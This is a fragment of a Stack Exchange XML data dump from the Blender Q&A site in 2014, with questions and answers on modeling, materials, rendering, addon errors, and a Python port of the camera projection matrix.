  <row Id="16660" PostTypeId="2" ParentId="16634" CreationDate="2014-10-10T17:46:32.307" Score="2" Body="&lt;p&gt;Consider a script below in the screen image below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;![&lt;a href=&quot;http://i.stack.imgur.com/mnBXM.png][http://i.stack.imgur.com/mnBXM.png]&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.stack.imgur.com/mnBXM.png][http://i.stack.imgur.com/mnBXM.png]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnBXM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some roads in spirals because rather than straight line segments. Spirals are easier to see.  You can see how the script has changed the extrude and depth settings in the geometry panel.  The curve is shown in edit mode to display the vertex points of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JTVZL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This script expects points in 3D space [x,y,z,1].  2D space can be promoted to 3D.  The script was rotting and is being recycled and needs to be cleaned up to suit you.  It will serve as a starting point.  Many data structures are present in the example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plot400 plots curve segments based on a start point and end point.  To be compatible with the function,your data will be transformed from current state to simple segments.  Perhaps that missing step in available already at nominal cost from your data provider. Your data must be transformed via standard rotation matrices (sin cos).  Even though it is a curve in a general sense the segments are created in straight line segments. You will end up with a blender curve object type.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because a curve exists you may exploit the Path Constraint in Blender for your car or camera to follow.  The target of the Path Constraint will be the curve path created above. One can change path constraint influence as an object changes path.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-25T19:25:33.797" LastActivityDate="2015-05-25T19:25:33.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16661" PostTypeId="1" AcceptedAnswerId="19348" CreationDate="2014-10-10T17:59:31.837" Score="7" ViewCount="625" Body="&lt;p&gt;Like the question says, can I manipulate normals explicitly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'm asking is because I'm making a game and I want to make some objects that fit together with other objects as they are placed by the engine. For instance, I want to model the dug-up sand besides a hole and want it to transition naturally into the (flat) ground around it, or model a skirt for the character model and want it to fit together with that character's torso.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when doing that the &quot;naïve&quot; way, the normals are (of course) calculated as if the object existed in isolation, which means that they point in a different direction from the surface they're supposed to fit together with in the end, creating a sharp edge in the lighting of the compound object, which is a bit disturbing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can just &quot;set&quot; the normals in a particular direction? Like, straight upwards for the normals on the outer vertices of the mentioned sand, or straight outwards for vertices along the upper edge of the mentioned skirt.&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2019-09-18T00:14:12.507" Title="Is it possible to manipulate normals explicitly in Blender?" Tags="&lt;modeling&gt;&lt;light&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16662" PostTypeId="1" CreationDate="2014-10-10T18:11:32.523" Score="2" ViewCount="74" Body="&lt;p&gt;I want to know how I can make a simple renderfarm. I won't use the network render plugin because it is boring and doesn't support single image rendering (it does so only rendering it on one node).&lt;br&gt;&#xA;So is there any scalable solution for building a big rendering cluster like ILM (Industrial Light and Magic) is using with loads of cores and ram.&#xA;As operating system, ubuntu or some other linux distributions should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be a free and easy solution.&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="2217" LastEditDate="2014-10-10T19:02:46.117" LastActivityDate="2014-10-10T19:02:46.117" Title="How to make a renderfarm" Tags="&lt;rendering&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-10-10T19:43:36.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="16664" PostTypeId="1" CreationDate="2014-10-10T18:49:43.780" Score="1" ViewCount="747" Body="&lt;p&gt;Is it possible to have different viewport shadings for the different objects in the scene based on, say their selection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. in Maya I can set my viewport objects all show in wireframe, except the currently selected one, which shows in shaded mode. Is that possible in blender?&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="2217" LastEditDate="2014-10-11T14:13:53.690" LastActivityDate="2016-11-03T13:04:56.657" Title="Viewport shading only for selected objects" Tags="&lt;3d-view&gt;&lt;objects&gt;&lt;selection-tools&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16665" PostTypeId="1" AcceptedAnswerId="24054" CreationDate="2014-10-10T19:31:04.120" Score="7" ViewCount="1873" Body="&lt;p&gt;I created this siding generator and I have been adding some new features and I have encountered some problems that I just can't seem to get around. Currently it is not installing into Blender 2.72 properly, it works fine from the text editor, but if you try and install it as an &lt;a href=&quot;https://drive.google.com/file/d/0B35OsPAJ46kvM3R3b01BcThlRUU/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; you get an error like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\modules\addon_utils.py&quot;, line 299, in enable&#xA;    mod = __import__(module_name)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\addons\add_mesh_siding\__init__.py&quot;, line 12, in &amp;lt;module&amp;gt;&#xA;    from add_mesh_siding_utils import *&#xA;ImportError: No module named 'add_mesh_siding_utils'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even though the other file is right there as well. I don't get what changed, it used to work just fine.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2217" LastEditDate="2015-01-31T17:23:47.807" LastActivityDate="2015-01-31T17:23:47.807" Title="Problem enabling siding generator addon" Tags="&lt;add-on&gt;&lt;path&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16667" PostTypeId="2" ParentId="16389" CreationDate="2014-10-10T21:21:34.470" Score="1" Body="&lt;p&gt;Your question covers a lot of ground.&#xA;For starters, I recommend you set up &lt;strong&gt;4&lt;/strong&gt; separate cameras. This is easier than having your camera move to the different desired positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;switching between cameras requires a spot of code (at least the way I've done it.)&#xA;however if you wish to display your separate views simultaneously, a tutorial to check into is &lt;a href=&quot;https://www.youtube.com/watch?v=-TtTBGSOii4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=-TtTBGSOii4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as far as seeing through your own head: make sure your render settings are set to 'Blender Game' and turn to the material properties of your object. Click the check mark next to Backface culling. This should allow you to view the world though your own head.&lt;img src=&quot;https://i.stack.imgur.com/xVZPu.png&quot; alt=&quot;See this image for reference.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-10-10T21:21:34.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16669" PostTypeId="1" CreationDate="2014-10-10T23:34:34.067" Score="1" ViewCount="1305" Body="&lt;p&gt;How can I set the value of a string property when a button is pressed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify I don't mean in the blender game engine I mean in &quot;regular&quot; scripting.&lt;/p&gt;&#xA;" OwnerUserId="6436" LastActivityDate="2014-11-06T00:40:13.253" Title="How to set the value of a string property when a button is pressed? (Not in bge)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16670" PostTypeId="1" AcceptedAnswerId="16671" CreationDate="2014-10-10T23:51:47.767" Score="2" ViewCount="2855" Body="&lt;p&gt;I have spent hours figuring out how to do this piece of my object. Starting over with a new mesh a number of times.  I punched the holes manually, after learning the evil that is boolean modifiers.  But I just can't seem to shake my bad luck with this piece!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many artifacts show in render, but in render preview it looks nearly flawless.  I don't have the option to leave out smoothing..it looks too poly without it.  I have no idea how to fix this. Here is the rendered version: &lt;img src=&quot;https://i.stack.imgur.com/VkKhH.jpg&quot; alt=&quot;Render&quot;&gt;&#xA;1&#xA;Also notice how the metallic piece to the right (up against the glass) renders just fine, despite the fact that it is made with the same material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it looks in render preview:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G3Wut.jpg&quot; alt=&quot;Render Preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh in edit mode:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/50dL4.png&quot; alt=&quot;Mesh - Edit Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to my blender file for you to go nuts with:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/9lh6z9hyeqwneqn/sonicpublic.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/9lh6z9hyeqwneqn/sonicpublic.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6342" LastActivityDate="2014-10-11T00:32:32.597" Title="Artifacts in render, but not in preview?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16671" PostTypeId="2" ParentId="16670" CreationDate="2014-10-11T00:02:47.403" Score="2" Body="&lt;p&gt;You have a duplicate of the &lt;code&gt;cylinder with holes&lt;/code&gt; object called &lt;code&gt;Circle.002&lt;/code&gt; which is hidden in the viewport, but not in the render. If you enable it in the viewport, the effect becomes obvious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0LO2z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also I'm pretty sure you don't need so much subsurf. Usually I don't use more than two subdivisions, sometimes three. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all objects set to one level of subsurf, your scene renders in about 2:48 for me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hiiEN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the original subsurf settings, it renders in 3:50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MItt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The visual difference seems pretty negligible, but there is change some of the lighting/camera angle in between tests because I stupidly did the 1 subd test first, then had to reload the scene to get the original subserf levels..&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are also quite a few ngons (faces made up of more than 4 vertices). These &lt;a href=&quot;https://blender.stackexchange.com/a/95/599&quot;&gt;usually don't play well with subsurf&lt;/a&gt;, and cause some distortion. Here is an example screenshot of some ngons (subsurf is disabled in the screenshot):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4D9YC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I also noticed that you are getting a lot of noise from the environment texture. Enabling &lt;em&gt;Multiple importance sampling&lt;/em&gt; in the world settings should help reduce that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qncC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-11T00:32:32.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16673" PostTypeId="1" CreationDate="2014-10-11T02:09:54.590" Score="3" ViewCount="767" Body="&lt;p&gt;I am trying to reproduce in blender the sample surface imaged by atomic force microscope (AFM). I found the link below but cannot get it to work yet. Here is what I did (in windows environment):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the AFM images to ascii files in the same format as the example in the attachment in the link below.&lt;/li&gt;&#xA;&lt;li&gt;Copied the 'io_import_mesh_afm_ascii' folder to addons folder.&lt;/li&gt;&#xA;&lt;li&gt;Run the .py files by the text editor in blender.&lt;/li&gt;&#xA;&lt;li&gt;Import -&gt; ascii text option&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I see the error '&lt;em&gt;init&lt;/em&gt;.py' line 61, &quot;system error: parent module '' not loaded&quot;.&#xA;Any idea what the problem is? Also, is there alternative ways to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;JT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderscripting.blogspot.com/2012/06/atomic-force-microscope-ascii-loader.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderscripting.blogspot.com/2012/06/atomic-force-microscope-ascii-loader.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6438" LastEditorUserId="241" LastEditDate="2014-10-11T13:35:02.103" LastActivityDate="2016-06-14T18:47:20.107" Title="Construct surface model from atomic force microscope data" Tags="&lt;python&gt;&lt;modeling&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16674" PostTypeId="1" AcceptedAnswerId="16677" CreationDate="2014-10-11T02:21:44.917" Score="12" ViewCount="3331" Body="&lt;p&gt;Hi I am creating a Doctor who Sonic screwdriver model in Blender and am having difficulties creating the material for the blue light on the end.  Preferably I'd like one material which emits light and one which doesn't.&lt;/p&gt;&#xA;&lt;p&gt;Reference pic for without light:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kNS3f.png&quot; alt=&quot;Doctor Who Sonic Screwdriver Reference Photo&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Honestly I don't really like the pics on Google of it emitting light&#xA;Here's a video in which you can see it with the light on&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=KgSgplNgpmw#t=58&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=KgSgplNgpmw#t=58&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6342" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-18T04:23:35.923" Title="Transparent blue plastic material which emits light" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16675" PostTypeId="1" CreationDate="2014-10-11T02:45:02.367" Score="1" ViewCount="315" Body="&lt;p&gt;I want my character to walk, but my character does not move, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2395/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;br&gt;&#xA;Press &lt;kbd&gt;P&lt;/kbd&gt; to play and you will see the problem.&lt;/p&gt;&#xA;" OwnerUserId="6439" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2016-12-19T23:33:57.903" Title="character movement does not work in blender game engine" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16676" PostTypeId="2" ParentId="16674" CreationDate="2014-10-11T02:50:51.770" Score="1" Body="&lt;p&gt;Yes using two materials is the right choice. in cycles render, very simple setup.&#xA;Just a simple glass shader, colored blue, and an emission, yellow-white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adjust the roughness and lighting for tweaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWR2z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqYeO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-10-11T02:50:51.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16677" PostTypeId="2" ParentId="16674" CreationDate="2014-10-11T03:40:56.380" Score="15" Body="&lt;p&gt;I would use two objects (or separated parts of the same object), the emitting object being separate from the cover.&lt;/p&gt;&#xA;&lt;p&gt;As far as the materials go, it depends on how much you want to fake it to increase render times/decrease noise.&lt;/p&gt;&#xA;&lt;h1&gt;Realistic&lt;/h1&gt;&#xA;&lt;p&gt;A realistic setup is probably the simplest, with just a simple emission shader for the emission object and a glass shader for the cover.&lt;/p&gt;&#xA;&lt;p&gt;I've used &lt;em&gt;clipping border&lt;/em&gt; (&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) to give you a cut away view of the objects:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OTwtd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The main thing to note is that the cover is not solid, it is hollow (this can be done with a quick solidify modifier). The reason this is important as it has a large impact on the way light is refracted through the cover.&lt;/p&gt;&#xA;&lt;p&gt;With some simple compositing to simulate the way a camera will behave when exposed to a bright light source (bloom), a nice glow can be achieved:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9f6PH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The downside to this is that it will produce a &lt;em&gt;lot&lt;/em&gt; of noise. This image was rendered with 1000 samples, but as you can see it still needs some more:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fm71G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/651/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=651&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Fast/less noisy&lt;/h1&gt;&#xA;&lt;p&gt;This is more complicated, but should help rendertimes by reducing the amount of noise at the cost of physical accuracy.&lt;/p&gt;&#xA;&lt;p&gt;There are probably several ways to optimize such a setup, but here's one of them:&lt;/p&gt;&#xA;&lt;p&gt;The main point here is that a point lamp is used to do the actual illumination  instead of the emission mesh.&lt;/p&gt;&#xA;&lt;p&gt;The point lamp is also not refracted, it's light is allowed straight through the cover, but absorbed where the cover mesh is thicker (kind of faking those nice caustics from the &amp;quot;realistic&amp;quot; example)&lt;/p&gt;&#xA;&lt;p&gt;To make sure the volumetrics don't cause too much of a slowdown, make sure volume sampling is set to &lt;em&gt;Equiangular&lt;/em&gt; and that &lt;em&gt;Homogeneous&lt;/em&gt; is enabled on the cover material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mnU0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Rendered in 200 samples:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAeBd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, there is still a little noise, mostly caused by the mesh light which is emitting light that gets refracted/reflected by the cover. I couldn't immediately think of a solution which would make the mesh light only illuminate the inside of the cover, and not refract outwards.&lt;/p&gt;&#xA;&lt;p&gt;The only reason the mesh light isn't making as much noise as in the &amp;quot;realistic&amp;quot; render is that it is dimmer than in the realistic version. This isn't very noticeable though, since the lamp provides plenty of light.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/652/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=652&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-18T04:23:35.923" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16678" PostTypeId="2" ParentId="16472" CreationDate="2014-10-11T03:59:42.677" Score="20" Body="&lt;p&gt;With some helpful references from Campbell (ideasman42), I was able to find the relevant Blender C code that creates the perspective matrix (from properties that were actually available via bpy), and I managed to port it to Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def view_plane(camd, winx, winy, xasp, yasp):    &#xA;    #/* fields rendering */&#xA;    ycor = yasp / xasp&#xA;    use_fields = False&#xA;    if (use_fields):&#xA;      ycor *= 2&#xA;&#xA;    def BKE_camera_sensor_size(p_sensor_fit, sensor_x, sensor_y):&#xA;        #/* sensor size used to fit to. for auto, sensor_x is both x and y. */&#xA;        if (p_sensor_fit == 'VERTICAL'):&#xA;            return sensor_y;&#xA;&#xA;        return sensor_x;&#xA;&#xA;    if (camd.type == 'ORTHO'):&#xA;      #/* orthographic camera */&#xA;      #/* scale == 1.0 means exact 1 to 1 mapping */&#xA;      pixsize = camd.ortho_scale&#xA;    else:&#xA;      #/* perspective camera */&#xA;      sensor_size = BKE_camera_sensor_size(camd.sensor_fit, camd.sensor_width, camd.sensor_height)&#xA;      pixsize = (sensor_size * camd.clip_start) / camd.lens&#xA;&#xA;    #/* determine sensor fit */&#xA;    def BKE_camera_sensor_fit(p_sensor_fit, sizex, sizey):&#xA;        if (p_sensor_fit == 'AUTO'):&#xA;            if (sizex &amp;gt;= sizey):&#xA;                return 'HORIZONTAL'&#xA;            else:&#xA;                return 'VERTICAL'&#xA;&#xA;        return p_sensor_fit&#xA;&#xA;    sensor_fit = BKE_camera_sensor_fit(camd.sensor_fit, xasp * winx, yasp * winy)&#xA;&#xA;    if (sensor_fit == 'HORIZONTAL'):&#xA;      viewfac = winx&#xA;    else:&#xA;      viewfac = ycor * winy&#xA;&#xA;    pixsize /= viewfac&#xA;&#xA;    #/* extra zoom factor */&#xA;    pixsize *= 1 #params-&amp;gt;zoom&#xA;&#xA;    #/* compute view plane:&#xA;    # * fully centered, zbuffer fills in jittered between -.5 and +.5 */&#xA;    xmin = -0.5 * winx&#xA;    ymin = -0.5 * ycor * winy&#xA;    xmax =  0.5 * winx&#xA;    ymax =  0.5 * ycor * winy&#xA;&#xA;    #/* lens shift and offset */&#xA;    dx = camd.shift_x * viewfac # + winx * params-&amp;gt;offsetx&#xA;    dy = camd.shift_y * viewfac # + winy * params-&amp;gt;offsety&#xA;&#xA;    xmin += dx&#xA;    ymin += dy&#xA;    xmax += dx&#xA;    ymax += dy&#xA;&#xA;    #/* fields offset */&#xA;    #if (params-&amp;gt;field_second):&#xA;    #    if (params-&amp;gt;field_odd):&#xA;    #        ymin -= 0.5 * ycor&#xA;    #        ymax -= 0.5 * ycor&#xA;    #    else:&#xA;    #        ymin += 0.5 * ycor&#xA;    #        ymax += 0.5 * ycor&#xA;&#xA;    #/* the window matrix is used for clipping, and not changed during OSA steps */&#xA;    #/* using an offset of +0.5 here would give clip errors on edges */&#xA;    xmin *= pixsize&#xA;    xmax *= pixsize&#xA;    ymin *= pixsize&#xA;    ymax *= pixsize&#xA;&#xA;    return xmin, xmax, ymin, ymax&#xA;&#xA;&#xA;def projection_matrix(camd):&#xA;    r = bpy.context.scene.render&#xA;    left, right, bottom, top = view_plane(camd, r.resolution_x, r.resolution_y, 1, 1)&#xA;&#xA;    farClip, nearClip = camd.clip_end, camd.clip_start&#xA;&#xA;    Xdelta = right - left&#xA;    Ydelta = top - bottom&#xA;    Zdelta = farClip - nearClip&#xA;&#xA;    mat = [[0]*4 for i in range(4)]&#xA;&#xA;    mat[0][0] = nearClip * 2 / Xdelta&#xA;    mat[1][1] = nearClip * 2 / Ydelta&#xA;    mat[2][0] = (right + left) / Xdelta #/* note: negate Z  */&#xA;    mat[2][1] = (top + bottom) / Ydelta&#xA;    mat[2][2] = -(farClip + nearClip) / Zdelta&#xA;    mat[2][3] = -1&#xA;    mat[3][2] = (-2 * nearClip * farClip) / Zdelta&#xA;&#xA;    return sum([c for c in mat], [])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call: &lt;code&gt;projection_matrix(camera.data)&lt;/code&gt; will return the perspective projection matrix of the given camera object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what the &quot;fields&quot; data is supposed to be, so I've set &lt;code&gt;use_fields&lt;/code&gt; to False, and I didn't port the &quot;fields offset&quot; block (which you can see commented out, in view_plane function). Regardless, the resulting projection matrix seems correct, so I guess it's not all that important (for most people).&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-11T03:59:42.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16679" PostTypeId="1" CreationDate="2014-10-11T06:38:57.830" Score="1" ViewCount="185" Body="&lt;p&gt;I will try to explane.&#xA;Lets say, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;class BLA_bla_tratata(Menu):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_label = &quot;Ololo&quot;&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;    row = layout.row()&#xA;    row.prop(context.space_data, &quot;viewport_shade&quot;, expand=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This define viewport shade menu... As I understand &quot;viewport_shade&quot; is a  PROPERTY and it is a LIST of some values ( &quot;MATERIAL&quot;, &quot;TEXTURED&quot;, &quot;SOLID&quot;....)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is exactly I need to know - is there any way to reorder this list befor saying &lt;/p&gt;&#xA;&#xA;&lt;p&gt;row.prop(context.space_data, &quot;viewport_shade&quot;, expand=True)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example ( &quot;MATERIAL&quot;, &quot;TEXTURED&quot;, &quot;SOLID&quot;....) -&gt; (&quot;SOLID&quot;, &quot;TEXTURED&quot;, &quot;MATERIAL&quot;, ....)&#xA;Or - how can I get access to this data  in blender&#xA;Thx!&lt;/p&gt;&#xA;" OwnerUserId="2439" LastEditorUserId="55" LastEditDate="2014-10-11T10:05:52.003" LastActivityDate="2014-10-23T00:44:05.853" Title="Possible to re-order Python API ENUM's?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16681" PostTypeId="1" AcceptedAnswerId="16691" CreationDate="2014-10-11T08:12:45.763" Score="0" ViewCount="63" Body="&lt;p&gt;I created an animation with some of my pose bones and created a strip in the nla editor.&#xA;How can I access the strip and find out which pose bones were needed for this animation via python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look in the animation data of the armature object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C.active_object.animation_data.nla_tracks[0].strips[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I couldn't find anything useful.&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-10-11T12:27:19.007" Title="Get pose bones which were animated in a strip" Tags="&lt;python&gt;&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16682" PostTypeId="1" CreationDate="2014-10-11T08:16:54.633" Score="0" ViewCount="104" Body="&lt;p&gt;I read this post (&lt;a href=&quot;https://blender.stackexchange.com/q/2002/6433&quot;&gt;Is netrender only useful for multiple frames?&lt;/a&gt;) about rendering a single image with netrender.&#xA;But how can I combine those images very quickly and easily? Say for example I have 100 single images.  How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2016-07-27T21:30:28.320" Title="Single Image rendering with blender netrender" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;network&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
